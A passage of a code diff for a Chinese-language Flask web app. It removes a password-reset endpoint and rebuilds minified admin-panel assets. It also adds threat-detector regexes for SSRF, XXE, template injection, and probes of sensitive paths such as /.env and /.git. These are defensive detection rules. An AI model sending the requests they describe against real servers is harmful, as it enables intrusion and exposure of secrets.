-        return jsonify({"error": "用户名和新密码不能为空"}), 400
-
-    is_valid, error_msg = validate_password(new_password)
-    if not is_valid:
-        return jsonify({"error": error_msg}), 400
-
-    if email:
-        is_valid, error_msg = validate_email(email)
-        if not is_valid:
-            return jsonify({"error": error_msg}), 400
-
-    client_ip = get_rate_limit_ip()
-    allowed, error_msg = check_ip_request_rate(client_ip, "email")
-    if not allowed:
-        return jsonify({"error": error_msg}), 429
-    if email:
-        allowed, error_msg = check_email_rate_limit(email, "reset_request")
-        if not allowed:
-            return jsonify({"error": error_msg}), 429
-
-    user = database.get_user_by_username(username)
-
-    if user:
-        if email and user.get("email") != email:
-            pass
-        else:
-            database.create_password_reset_request(user["id"], new_password)
-
-    return jsonify({"message": "如果账号存在，密码重置申请已提交，请等待管理员审核"})
-
-
 @api_auth_bp.route("/api/generate_captcha", methods=["POST"])
 def generate_captcha():
     """生成4位数字验证码图片"""
@@ -484,7 +480,11 @@ def login():
 	        user_agent = request.headers.get("User-Agent", "")
 	        context = database.record_login_context(user["id"], client_ip, user_agent)
 	        if context and (context.get("new_ip") or context.get("new_device")):
-            if config.LOGIN_ALERT_ENABLED and should_send_login_alert(user["id"], client_ip):
+	            if (
+	                config.LOGIN_ALERT_ENABLED
+	                and should_send_login_alert(user["id"], client_ip)
+	                and email_service.get_email_settings().get("login_alert_enabled", True)
+	            ):
 	                user_info = database.get_user_by_id(user["id"]) or {}
 	                if user_info.get("email") and user_info.get("email_verified"):
 	                    if database.get_user_email_notify(user["id"]):

security/constants.py

@@ -12,6 +12,10 @@ THREAT_TYPE_SQL_INJECTION = "sql_injection"
 THREAT_TYPE_XSS = "xss"
 THREAT_TYPE_PATH_TRAVERSAL = "path_traversal"
 THREAT_TYPE_COMMAND_INJECTION = "command_injection"
+THREAT_TYPE_SSRF = "ssrf"
+THREAT_TYPE_XXE = "xxe"
+THREAT_TYPE_TEMPLATE_INJECTION = "template_injection"
+THREAT_TYPE_SENSITIVE_PATH_PROBE = "sensitive_path_probe"
 
 
 # ==================== Scores ====================
@@ -23,6 +27,10 @@ SCORE_SQL_INJECTION = 90
 SCORE_XSS = 70
 SCORE_PATH_TRAVERSAL = 60
 SCORE_COMMAND_INJECTION = 85
+SCORE_SSRF = 75
+SCORE_XXE = 85
+SCORE_TEMPLATE_INJECTION = 70
+SCORE_SENSITIVE_PATH_PROBE = 40
 
 
 # ==================== JNDI (Log4j) ====================
@@ -75,6 +83,33 @@ CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN = (
 CMD_INJECTION_SUBSHELL_PATTERN = r"(?:`[^`]{1,200}`|\$\([^)]{1,200}\))"
 
 
+# ==================== SSRF ====================
+
+SSRF_LOCALHOST_URL_PATTERN = r"\bhttps?\s*:\s*//\s*(?:127\.0\.0\.1\b|localhost\b|0\.0\.0\.0\b)"
+SSRF_INTERNAL_IP_URL_PATTERN = r"\bhttps?\s*:\s*//\s*(?:10\.|192\.168\.|172\.(?:1[6-9]|2[0-9]|3[0-1])\.)"
+SSRF_DANGEROUS_PROTOCOL_PATTERN = r"\b(?:file|gopher|dict)\s*:\s*//"
+
+
+# ==================== XXE ====================
+
+XXE_DOCTYPE_PATTERN = r"<!\s*doctype\b|\bdoctype\b"
+XXE_ENTITY_PATTERN = r"<!\s*entity\b|\bentity\b"
+XXE_SYSTEM_PUBLIC_PATTERN = r"\b(?:system|public)\b"
+
+
+# ==================== Template Injection ====================
+
+TEMPLATE_JINJA_EXPR_PATTERN = r"\{\{\s*[^}]{0,200}\s*\}\}"
+TEMPLATE_JINJA_STMT_PATTERN = r"\{%\s*[^%]{0,200}\s*%\}"
+TEMPLATE_VELOCITY_DIRECTIVE_PATTERN = r"#\s*(?:set|if)\b"
+
+
+# ==================== Sensitive Path Probing ====================
+
+SENSITIVE_PATH_DOTFILES_PATTERN = r"/\.(?:git|svn|env)(?:/|\b|$)"
+SENSITIVE_PATH_PROBE_PATTERN = r"/(?:actuator|phpinfo|wp-admin)(?:/|\b|$)"
+
+
 # ==================== Compiled Regex ====================
 
 _FLAGS = re.IGNORECASE | re.MULTILINE
@@ -95,3 +130,17 @@ PATH_TRAVERSAL_RE = re.compile(PATH_TRAVERSAL_PATTERN, _FLAGS)
 CMD_INJECTION_OPERATOR_WITH_CMD_RE = re.compile(CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN, _FLAGS)
 CMD_INJECTION_SUBSHELL_RE = re.compile(CMD_INJECTION_SUBSHELL_PATTERN, _FLAGS)
 
+SSRF_LOCALHOST_URL_RE = re.compile(SSRF_LOCALHOST_URL_PATTERN, _FLAGS)
+SSRF_INTERNAL_IP_URL_RE = re.compile(SSRF_INTERNAL_IP_URL_PATTERN, _FLAGS)
+SSRF_DANGEROUS_PROTOCOL_RE = re.compile(SSRF_DANGEROUS_PROTOCOL_PATTERN, _FLAGS)
+
+XXE_DOCTYPE_RE = re.compile(XXE_DOCTYPE_PATTERN, _FLAGS)
+XXE_ENTITY_RE = re.compile(XXE_ENTITY_PATTERN, _FLAGS)
+XXE_SYSTEM_PUBLIC_RE = re.compile(XXE_SYSTEM_PUBLIC_PATTERN, _FLAGS)
+
+TEMPLATE_JINJA_EXPR_RE = re.compile(TEMPLATE_JINJA_EXPR_PATTERN, _FLAGS)
+TEMPLATE_JINJA_STMT_RE = re.compile(TEMPLATE_JINJA_STMT_PATTERN, _FLAGS)
+TEMPLATE_VELOCITY_DIRECTIVE_RE = re.compile(TEMPLATE_VELOCITY_DIRECTIVE_PATTERN, _FLAGS)
+
+SENSITIVE_PATH_DOTFILES_RE = re.compile(SENSITIVE_PATH_DOTFILES_PATTERN, _FLAGS)
+SENSITIVE_PATH_PROBE_RE = re.compile(SENSITIVE_PATH_PROBE_PATTERN, _FLAGS)

security/threat_detector.py

@@ -71,6 +71,10 @@ class ThreatDetector:
             self._check_xss,
             self._check_path_traversal,
             self._check_command_injection,
+            self._check_ssrf,
+            self._check_xxe,
+            self._check_template_injection,
+            self._check_sensitive_path_probe,
         ]:
             result = check(text)
             if result:
@@ -168,6 +172,96 @@ class ThreatDetector:
                 return (C.THREAT_TYPE_COMMAND_INJECTION, C.SCORE_COMMAND_INJECTION, "CMD_OPERATOR_WITH_CMD", m.group(0))
         return None
 
+    def _check_ssrf(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m = C.SSRF_LOCALHOST_URL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_LOCALHOST{suffix}", m.group(0))
+            m = C.SSRF_INTERNAL_IP_URL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_INTERNAL_IP{suffix}", m.group(0))
+            m = C.SSRF_DANGEROUS_PROTOCOL_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_SSRF, C.SCORE_SSRF, f"SSRF_DANGEROUS_PROTOCOL{suffix}", m.group(0))
+
+        return None
+
+    def _check_xxe(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m_doctype = C.XXE_DOCTYPE_RE.search(candidate)
+            if not m_doctype:
+                continue
+            m_entity = C.XXE_ENTITY_RE.search(candidate)
+            if not m_entity:
+                continue
+            m_sys_pub = C.XXE_SYSTEM_PUBLIC_RE.search(candidate)
+            if not m_sys_pub:
+                continue
+            matched = f"{m_doctype.group(0)} {m_entity.group(0)} {m_sys_pub.group(0)}"
+            return (C.THREAT_TYPE_XXE, C.SCORE_XXE, f"XXE_KEYWORD_COMBO{suffix}", matched)
+
+        return None
+
+    def _check_template_injection(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m = C.TEMPLATE_JINJA_EXPR_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_TEMPLATE_INJECTION, C.SCORE_TEMPLATE_INJECTION, f"TEMPLATE_JINJA_EXPR{suffix}", m.group(0))
+            m = C.TEMPLATE_JINJA_STMT_RE.search(candidate)
+            if m:
+                return (C.THREAT_TYPE_TEMPLATE_INJECTION, C.SCORE_TEMPLATE_INJECTION, f"TEMPLATE_JINJA_STMT{suffix}", m.group(0))
+            m = C.TEMPLATE_VELOCITY_DIRECTIVE_RE.search(candidate)
+            if m:
+                return (
+                    C.THREAT_TYPE_TEMPLATE_INJECTION,
+                    C.SCORE_TEMPLATE_INJECTION,
+                    f"TEMPLATE_VELOCITY_DIRECTIVE{suffix}",
+                    m.group(0),
+                )
+
+        return None
+
+    def _check_sensitive_path_probe(self, text: str) -> Optional[Tuple[str, int, str, str]]:
+        decoded = self._multi_unquote(text)
+        candidates: List[Tuple[str, str]] = [(text, "")]
+        if decoded != text:
+            candidates.append((decoded, "_URL_DECODED"))
+
+        for candidate, suffix in candidates:
+            m = C.SENSITIVE_PATH_DOTFILES_RE.search(candidate)
+            if m:
+                return (
+                    C.THREAT_TYPE_SENSITIVE_PATH_PROBE,
+                    C.SCORE_SENSITIVE_PATH_PROBE,
+                    f"SENSITIVE_PATH_DOTFILES{suffix}",
+                    m.group(0),
+                )
+            m = C.SENSITIVE_PATH_PROBE_RE.search(candidate)
+            if m:
+                return (
+                    C.THREAT_TYPE_SENSITIVE_PATH_PROBE,
+                    C.SCORE_SENSITIVE_PATH_PROBE,
+                    f"SENSITIVE_PATH_PROBE{suffix}",
+                    m.group(0),
+                )
+
+        return None
+
     # ==================== Helpers ====================
 
     def _preview(self, text: str, limit: int = 160) -> str:

static/admin/.vite/manifest.json

@@ -1,34 +1,34 @@
 {
-  "_email-DoKk83fr.js": {
-    "file": "assets/email-DoKk83fr.js",
+  "_email-BghJNgj1.js": {
+    "file": "assets/email-BghJNgj1.js",
     "name": "email",
     "imports": [
       "index.html"
     ]
   },
-  "_tasks-Bgkd54ac.js": {
-    "file": "assets/tasks-Bgkd54ac.js",
+  "_tasks-Cx_Yf55V.js": {
+    "file": "assets/tasks-Cx_Yf55V.js",
     "name": "tasks",
     "imports": [
       "index.html"
     ]
   },
-  "_update-BVJ0Pp6O.js": {
-    "file": "assets/update-BVJ0Pp6O.js",
+  "_update-D34iQbO6.js": {
+    "file": "assets/update-D34iQbO6.js",
     "name": "update",
     "imports": [
       "index.html"
     ]
   },
-  "_users-Bw5HW1mw.js": {
-    "file": "assets/users-Bw5HW1mw.js",
+  "_users-DCcrmSwH.js": {
+    "file": "assets/users-DCcrmSwH.js",
     "name": "users",
     "imports": [
       "index.html"
     ]
   },
   "index.html": {
-    "file": "assets/index-CDhtYQo-.js",
+    "file": "assets/index-C9w-iZIr.js",
     "name": "index",
     "src": "index.html",
     "isEntry": true,
@@ -44,11 +44,11 @@
       "src/pages/SettingsPage.vue"
     ],
     "css": [
-      "assets/index-DiIt7W4Z.css"
+      "assets/index-_5Ec1Hmd.css"
     ]
   },
   "src/pages/AnnouncementsPage.vue": {
-    "file": "assets/AnnouncementsPage-BSLa6sED.js",
+    "file": "assets/AnnouncementsPage-DEX_yASt.js",
     "name": "AnnouncementsPage",
     "src": "src/pages/AnnouncementsPage.vue",
     "isDynamicEntry": true,
@@ -60,20 +60,20 @@
     ]
   },
   "src/pages/EmailPage.vue": {
-    "file": "assets/EmailPage-BHdschU6.js",
+    "file": "assets/EmailPage-Cev_X_Ce.js",
     "name": "EmailPage",
     "src": "src/pages/EmailPage.vue",
     "isDynamicEntry": true,
     "imports": [
-      "_email-DoKk83fr.js",
+      "_email-BghJNgj1.js",
       "index.html"
     ],
     "css": [
-      "assets/EmailPage-BxzHc6tN.css"
+      "assets/EmailPage-BH6ksrcc.css"
     ]
   },
   "src/pages/FeedbacksPage.vue": {
-    "file": "assets/FeedbacksPage-CLu2KtuG.js",
+    "file": "assets/FeedbacksPage-BKxylUkG.js",
     "name": "FeedbacksPage",
     "src": "src/pages/FeedbacksPage.vue",
     "isDynamicEntry": true,
@@ -85,13 +85,13 @@
     ]
   },
   "src/pages/LogsPage.vue": {
-    "file": "assets/LogsPage-CbeqOQSe.js",
+    "file": "assets/LogsPage-CemQ-Y_T.js",
     "name": "LogsPage",
     "src": "src/pages/LogsPage.vue",
     "isDynamicEntry": true,
     "imports": [
-      "_users-Bw5HW1mw.js",
-      "_tasks-Bgkd54ac.js",
+      "_users-DCcrmSwH.js",
+      "_tasks-Cx_Yf55V.js",
       "index.html"
     ],
     "css": [
@@ -99,22 +99,22 @@
     ]
   },
   "src/pages/ReportPage.vue": {
-    "file": "assets/ReportPage-DVC8Kawd.js",
+    "file": "assets/ReportPage-D6vDD1zK.js",
     "name": "ReportPage",
     "src": "src/pages/ReportPage.vue",
     "isDynamicEntry": true,
     "imports": [
       "index.html",
-      "_email-DoKk83fr.js",
-      "_tasks-Bgkd54ac.js",
-      "_update-BVJ0Pp6O.js"
+      "_email-BghJNgj1.js",
+      "_tasks-Cx_Yf55V.js",
+      "_update-D34iQbO6.js"
     ],
     "css": [
-      "assets/ReportPage-TpqQWWvU.css"
+      "assets/ReportPage-CSbGJlZV.css"
     ]
   },
   "src/pages/SecurityPage.vue": {
-    "file": "assets/SecurityPage-CuXCrXIZ.js",
+    "file": "assets/SecurityPage-DGvsGoGa.js",
     "name": "SecurityPage",
     "src": "src/pages/SecurityPage.vue",
     "isDynamicEntry": true,
@@ -126,7 +126,7 @@
     ]
   },
   "src/pages/SettingsPage.vue": {
-    "file": "assets/SettingsPage-cKC6DywW.js",
+    "file": "assets/SettingsPage-Bw1ItHlK.js",
     "name": "SettingsPage",
     "src": "src/pages/SettingsPage.vue",
     "isDynamicEntry": true,
@@ -138,12 +138,12 @@
     ]
   },
   "src/pages/SystemPage.vue": {
-    "file": "assets/SystemPage-2XepJLfC.js",
+    "file": "assets/SystemPage-RgAQwtHu.js",
     "name": "SystemPage",
     "src": "src/pages/SystemPage.vue",
     "isDynamicEntry": true,
     "imports": [
-      "_update-BVJ0Pp6O.js",
+      "_update-D34iQbO6.js",
       "index.html"
     ],
     "css": [
@@ -151,16 +151,16 @@
     ]
   },
   "src/pages/UsersPage.vue": {
-    "file": "assets/UsersPage-CGNuB954.js",
+    "file": "assets/UsersPage-CFbr6Y3k.js",
     "name": "UsersPage",
     "src": "src/pages/UsersPage.vue",
     "isDynamicEntry": true,
     "imports": [
-      "_users-Bw5HW1mw.js",
+      "_users-DCcrmSwH.js",
       "index.html"
     ],
     "css": [
-      "assets/UsersPage-CbiPbpuj.css"
+      "assets/UsersPage-CC4Unpwt.css"
     ]
   }
 }

static/admin/assets/EmailPage-BH6ksrcc.css

@@ -0,0 +1 @@
+.page-stack[data-v-7a7e1e9d]{display:flex;flex-direction:column;gap:12px}.toolbar[data-v-7a7e1e9d]{display:flex;gap:10px;align-items:center;flex-wrap:wrap}.card[data-v-7a7e1e9d]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-head[data-v-7a7e1e9d]{display:flex;align-items:baseline;justify-content:space-between;gap:12px;margin-bottom:12px;flex-wrap:wrap}.section-title[data-v-7a7e1e9d]{margin:0;font-size:14px;font-weight:800}.help[data-v-7a7e1e9d]{margin-top:8px;font-size:12px;color:var(--app-muted)}.table-wrap[data-v-7a7e1e9d]{overflow-x:auto}.stat-card[data-v-7a7e1e9d]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.stat-value[data-v-7a7e1e9d]{font-size:20px;font-weight:900;line-height:1.1}.stat-label[data-v-7a7e1e9d]{margin-top:6px;font-size:12px;color:var(--app-muted)}.ok[data-v-7a7e1e9d]{color:#047857}.err[data-v-7a7e1e9d]{color:#b91c1c}.sub-stats[data-v-7a7e1e9d]{display:flex;flex-wrap:wrap;gap:8px;margin-top:12px}.ellipsis[data-v-7a7e1e9d]{display:inline-block;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.pagination[data-v-7a7e1e9d]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin-top:14px;flex-wrap:wrap}.page-hint[data-v-7a7e1e9d]{font-size:12px}.dialog-actions[data-v-7a7e1e9d]{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.spacer[data-v-7a7e1e9d]{flex:1}

static/admin/assets/EmailPage-BxzHc6tN.css

@@ -1 +0,0 @@
-.page-stack[data-v-ff849557]{display:flex;flex-direction:column;gap:12px}.toolbar[data-v-ff849557]{display:flex;gap:10px;align-items:center;flex-wrap:wrap}.card[data-v-ff849557]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-head[data-v-ff849557]{display:flex;align-items:baseline;justify-content:space-between;gap:12px;margin-bottom:12px;flex-wrap:wrap}.section-title[data-v-ff849557]{margin:0;font-size:14px;font-weight:800}.help[data-v-ff849557]{margin-top:8px;font-size:12px;color:var(--app-muted)}.table-wrap[data-v-ff849557]{overflow-x:auto}.stat-card[data-v-ff849557]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.stat-value[data-v-ff849557]{font-size:20px;font-weight:900;line-height:1.1}.stat-label[data-v-ff849557]{margin-top:6px;font-size:12px;color:var(--app-muted)}.ok[data-v-ff849557]{color:#047857}.err[data-v-ff849557]{color:#b91c1c}.sub-stats[data-v-ff849557]{display:flex;flex-wrap:wrap;gap:8px;margin-top:12px}.ellipsis[data-v-ff849557]{display:inline-block;max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.pagination[data-v-ff849557]{display:flex;align-items:center;justify-content:space-between;gap:10px;margin-top:14px;flex-wrap:wrap}.page-hint[data-v-ff849557]{font-size:12px}.dialog-actions[data-v-ff849557]{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.spacer[data-v-ff849557]{flex:1}

static/admin/assets/SettingsPage-Bw1ItHlK.js

@@ -1 +1 @@
-import{S as m,_ as T,r as p,e as u,f as h,g as k,h as r,j as a,w as s,p as x,L as i,K as b}from"./index-CDhtYQo-.js";async function C(o){const{data:t}=await m.put("/admin/username",{new_username:o});return t}async function P(o){const{data:t}=await m.put("/admin/password",{new_password:o});return t}async function U(){const{data:o}=await m.post("/logout");return o}const E={class:"page-stack"},N={__name:"SettingsPage",setup(o){const t=p(""),d=p(""),n=p(!1);async function f(){try{await U()}catch{}finally{window.location.href="/yuyx"}}async function V(){const l=t.value.trim();if(!l){i.error("请输入新用户名");return}try{await b.confirm(`确定将管理员用户名修改为「${l}」吗？修改后需要重新登录。`,"修改用户名",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await C(l),i.success("用户名修改成功，请重新登录"),t.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}async function B(){const l=d.value;if(!l){i.error("请输入新密码");return}if(l.length<6){i.error("密码至少6个字符");return}try{await b.confirm("确定修改管理员密码吗？修改后需要重新登录。","修改密码",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await P(l),i.success("密码修改成功，请重新登录"),d.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}return(l,e)=>{const w=u("el-input"),v=u("el-form-item"),y=u("el-form"),_=u("el-button"),g=u("el-card");return k(),h("div",E,[e[7]||(e[7]=r("div",{class:"app-page-title"},[r("h2",null,"设置"),r("span",{class:"app-muted"},"管理员账号设置")],-1)),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[3]||(e[3]=r("h3",{class:"section-title"},"修改管理员用户名",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新用户名"},{default:s(()=>[a(w,{modelValue:t.value,"onUpdate:modelValue":e[0]||(e[0]=c=>t.value=c),placeholder:"输入新用户名",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:V},{default:s(()=>[...e[2]||(e[2]=[x("保存用户名",-1)])]),_:1},8,["loading"])]),_:1}),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[5]||(e[5]=r("h3",{class:"section-title"},"修改管理员密码",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新密码"},{default:s(()=>[a(w,{modelValue:d.value,"onUpdate:modelValue":e[1]||(e[1]=c=>d.value=c),type:"password","show-password":"",placeholder:"输入新密码",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:B},{default:s(()=>[...e[4]||(e[4]=[x("保存密码",-1)])]),_:1},8,["loading"]),e[6]||(e[6]=r("div",{class:"help"},"建议使用更强密码（至少8位且包含字母与数字）。",-1))]),_:1})])}}},A=T(N,[["__scopeId","data-v-2f4b840f"]]);export{A as default};
+import{O as m,_ as T,r as p,d as u,e as h,f as k,g as r,h as a,w as s,n as x,J as d,I as b}from"./index-C9w-iZIr.js";async function C(o){const{data:t}=await m.put("/admin/username",{new_username:o});return t}async function P(o){const{data:t}=await m.put("/admin/password",{new_password:o});return t}async function U(){const{data:o}=await m.post("/logout");return o}const E={class:"page-stack"},N={__name:"SettingsPage",setup(o){const t=p(""),i=p(""),n=p(!1);async function f(){try{await U()}catch{}finally{window.location.href="/yuyx"}}async function V(){const l=t.value.trim();if(!l){d.error("请输入新用户名");return}try{await b.confirm(`确定将管理员用户名修改为「${l}」吗？修改后需要重新登录。`,"修改用户名",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await C(l),d.success("用户名修改成功，请重新登录"),t.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}async function B(){const l=i.value;if(!l){d.error("请输入新密码");return}if(l.length<6){d.error("密码至少6个字符");return}try{await b.confirm("确定修改管理员密码吗？修改后需要重新登录。","修改密码",{confirmButtonText:"确认修改",cancelButtonText:"取消",type:"warning"})}catch{return}n.value=!0;try{await P(l),d.success("密码修改成功，请重新登录"),i.value="",setTimeout(f,1200)}catch{}finally{n.value=!1}}return(l,e)=>{const w=u("el-input"),v=u("el-form-item"),y=u("el-form"),_=u("el-button"),g=u("el-card");return k(),h("div",E,[e[7]||(e[7]=r("div",{class:"app-page-title"},[r("h2",null,"设置"),r("span",{class:"app-muted"},"管理员账号设置")],-1)),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[3]||(e[3]=r("h3",{class:"section-title"},"修改管理员用户名",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新用户名"},{default:s(()=>[a(w,{modelValue:t.value,"onUpdate:modelValue":e[0]||(e[0]=c=>t.value=c),placeholder:"输入新用户名",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:V},{default:s(()=>[...e[2]||(e[2]=[x("保存用户名",-1)])]),_:1},8,["loading"])]),_:1}),a(g,{shadow:"never","body-style":{padding:"16px"},class:"card"},{default:s(()=>[e[5]||(e[5]=r("h3",{class:"section-title"},"修改管理员密码",-1)),a(y,{"label-width":"120px"},{default:s(()=>[a(v,{label:"新密码"},{default:s(()=>[a(w,{modelValue:i.value,"onUpdate:modelValue":e[1]||(e[1]=c=>i.value=c),type:"password","show-password":"",placeholder:"输入新密码",disabled:n.value},null,8,["modelValue","disabled"])]),_:1})]),_:1}),a(_,{type:"primary",loading:n.value,onClick:B},{default:s(()=>[...e[4]||(e[4]=[x("保存密码",-1)])]),_:1},8,["loading"]),e[6]||(e[6]=r("div",{class:"help"},"建议使用更强密码（至少8位且包含字母与数字）。",-1))]),_:1})])}}},I=T(N,[["__scopeId","data-v-2f4b840f"]]);export{I as default};

static/admin/assets/UsersPage-CC4Unpwt.css

@@ -0,0 +1 @@
+.page-stack[data-v-d73d2b82]{display:flex;flex-direction:column;gap:12px}.card[data-v-d73d2b82]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-title[data-v-d73d2b82]{margin:0 0 12px;font-size:14px;font-weight:800}.help[data-v-d73d2b82]{margin-top:10px;font-size:12px}.table-wrap[data-v-d73d2b82]{overflow-x:auto}.user-block[data-v-d73d2b82]{display:flex;flex-direction:column;gap:2px}.user-main[data-v-d73d2b82]{display:inline-flex;align-items:center;gap:8px;flex-wrap:wrap}.user-sub[data-v-d73d2b82]{font-size:12px}.vip-sub[data-v-d73d2b82]{font-size:12px;color:#7c3aed}.actions[data-v-d73d2b82]{display:flex;flex-wrap:wrap;gap:8px}

static/admin/assets/UsersPage-CbiPbpuj.css

@@ -1 +0,0 @@
-.page-stack[data-v-84b2f73a]{display:flex;flex-direction:column;gap:12px}.card[data-v-84b2f73a]{border-radius:var(--app-radius);border:1px solid var(--app-border)}.section-title[data-v-84b2f73a]{margin:0 0 12px;font-size:14px;font-weight:800}.help[data-v-84b2f73a]{margin-top:10px;font-size:12px}.table-wrap[data-v-84b2f73a]{overflow-x:auto}.user-block[data-v-84b2f73a]{display:flex;flex-direction:column;gap:2px}.user-main[data-v-84b2f73a]{display:inline-flex;align-items:center;gap:8px;flex-wrap:wrap}.user-sub[data-v-84b2f73a]{font-size:12px}.vip-sub[data-v-84b2f73a]{font-size:12px;color:#7c3aed}.actions[data-v-84b2f73a]{display:flex;flex-wrap:wrap;gap:8px}

static/admin/assets/email-BghJNgj1.js

@@ -1 +1 @@
-import{S as n}from"./index-CDhtYQo-.js";async function i(){const{data:a}=await n.get("/email/settings");return a}async function e(a){const{data:t}=await n.post("/email/settings",a);return t}async function c(){const{data:a}=await n.get("/email/stats");return a}async function o(a){const{data:t}=await n.get("/email/logs",{params:a});return t}async function l(a){const{data:t}=await n.post("/email/logs/cleanup",{days:a});return t}export{o as a,i as b,l as c,c as f,e as u};
+import{O as n}from"./index-C9w-iZIr.js";async function i(){const{data:a}=await n.get("/email/settings");return a}async function e(a){const{data:t}=await n.post("/email/settings",a);return t}async function c(){const{data:a}=await n.get("/email/stats");return a}async function o(a){const{data:t}=await n.get("/email/logs",{params:a});return t}async function l(a){const{data:t}=await n.post("/email/logs/cleanup",{days:a});return t}export{o as a,i as b,l as c,c as f,e as u};

static/admin/assets/tasks-Cx_Yf55V.js

@@ -1 +1 @@
-import{S as a}from"./index-CDhtYQo-.js";async function c(){const{data:t}=await a.get("/server/info");return t}async function e(){const{data:t}=await a.get("/docker_stats");return t}async function o(){const{data:t}=await a.get("/task/stats");return t}async function r(){const{data:t}=await a.get("/task/running");return t}async function i(t){const{data:s}=await a.get("/task/logs",{params:t});return s}async function f(t){const{data:s}=await a.post("/task/logs/clear",{days:t});return s}export{r as a,c as b,e as c,i as d,f as e,o as f};
+import{O as a}from"./index-C9w-iZIr.js";async function c(){const{data:t}=await a.get("/server/info");return t}async function e(){const{data:t}=await a.get("/docker_stats");return t}async function o(){const{data:t}=await a.get("/task/stats");return t}async function r(){const{data:t}=await a.get("/task/running");return t}async function i(t){const{data:s}=await a.get("/task/logs",{params:t});return s}async function f(t){const{data:s}=await a.post("/task/logs/clear",{days:t});return s}export{r as a,c as b,e as c,i as d,f as e,o as f};

static/admin/assets/update-D34iQbO6.js

@@ -1 +1 @@
-import{S as a}from"./index-CDhtYQo-.js";async function s(){const{data:t}=await a.get("/system/config");return t}async function c(t){const{data:e}=await a.post("/system/config",t);return e}async function u(){const{data:t}=await a.post("/schedule/execute",{});return t}async function o(){const{data:t}=await a.get("/update/status");return t}async function r(){const{data:t}=await a.get("/update/result");return t}async function d(t={}){const{data:e}=await a.get("/update/log",{params:t});return e}async function i(){const{data:t}=await a.post("/update/check",{});return t}async function f(t={}){const{data:e}=await a.post("/update/run",t);return e}export{o as a,r as b,d as c,f as d,u as e,s as f,i as r,c as u};
+import{O as a}from"./index-C9w-iZIr.js";async function s(){const{data:t}=await a.get("/system/config");return t}async function c(t){const{data:e}=await a.post("/system/config",t);return e}async function u(){const{data:t}=await a.post("/schedule/execute",{});return t}async function o(){const{data:t}=await a.get("/update/status");return t}async function r(){const{data:t}=await a.get("/update/result");return t}async function d(t={}){const{data:e}=await a.get("/update/log",{params:t});return e}async function i(){const{data:t}=await a.post("/update/check",{});return t}async function f(t={}){const{data:e}=await a.post("/update/run",t);return e}export{o as a,r as b,d as c,f as d,u as e,s as f,i as r,c as u};

static/admin/assets/users-DCcrmSwH.js

@@ -1 +1 @@
-import{S as t}from"./index-CDhtYQo-.js";async function n(){const{data:s}=await t.get("/users");return s}async function o(s){const{data:a}=await t.post(`/users/${s}/approve`);return a}async function c(s){const{data:a}=await t.post(`/users/${s}/reject`);return a}async function i(s){const{data:a}=await t.delete(`/users/${s}`);return a}async function u(s,a){const{data:e}=await t.post(`/users/${s}/vip`,{days:a});return e}async function p(s){const{data:a}=await t.delete(`/users/${s}/vip`);return a}async function d(s,a){const{data:e}=await t.post(`/users/${s}/reset_password`,{new_password:a});return e}export{o as a,p as b,d as c,i as d,n as f,c as r,u as s};
+import{O as t}from"./index-C9w-iZIr.js";async function n(){const{data:s}=await t.get("/users");return s}async function o(s){const{data:a}=await t.post(`/users/${s}/approve`);return a}async function c(s){const{data:a}=await t.post(`/users/${s}/reject`);return a}async function i(s){const{data:a}=await t.delete(`/users/${s}`);return a}async function u(s,a){const{data:e}=await t.post(`/users/${s}/vip`,{days:a});return e}async function p(s){const{data:a}=await t.delete(`/users/${s}/vip`);return a}async function d(s,a){const{data:e}=await t.post(`/users/${s}/reset_password`,{new_password:a});return e}export{o as a,p as b,d as c,i as d,n as f,c as r,u as s};

static/admin/index.html

@@ -5,8 +5,8 @@
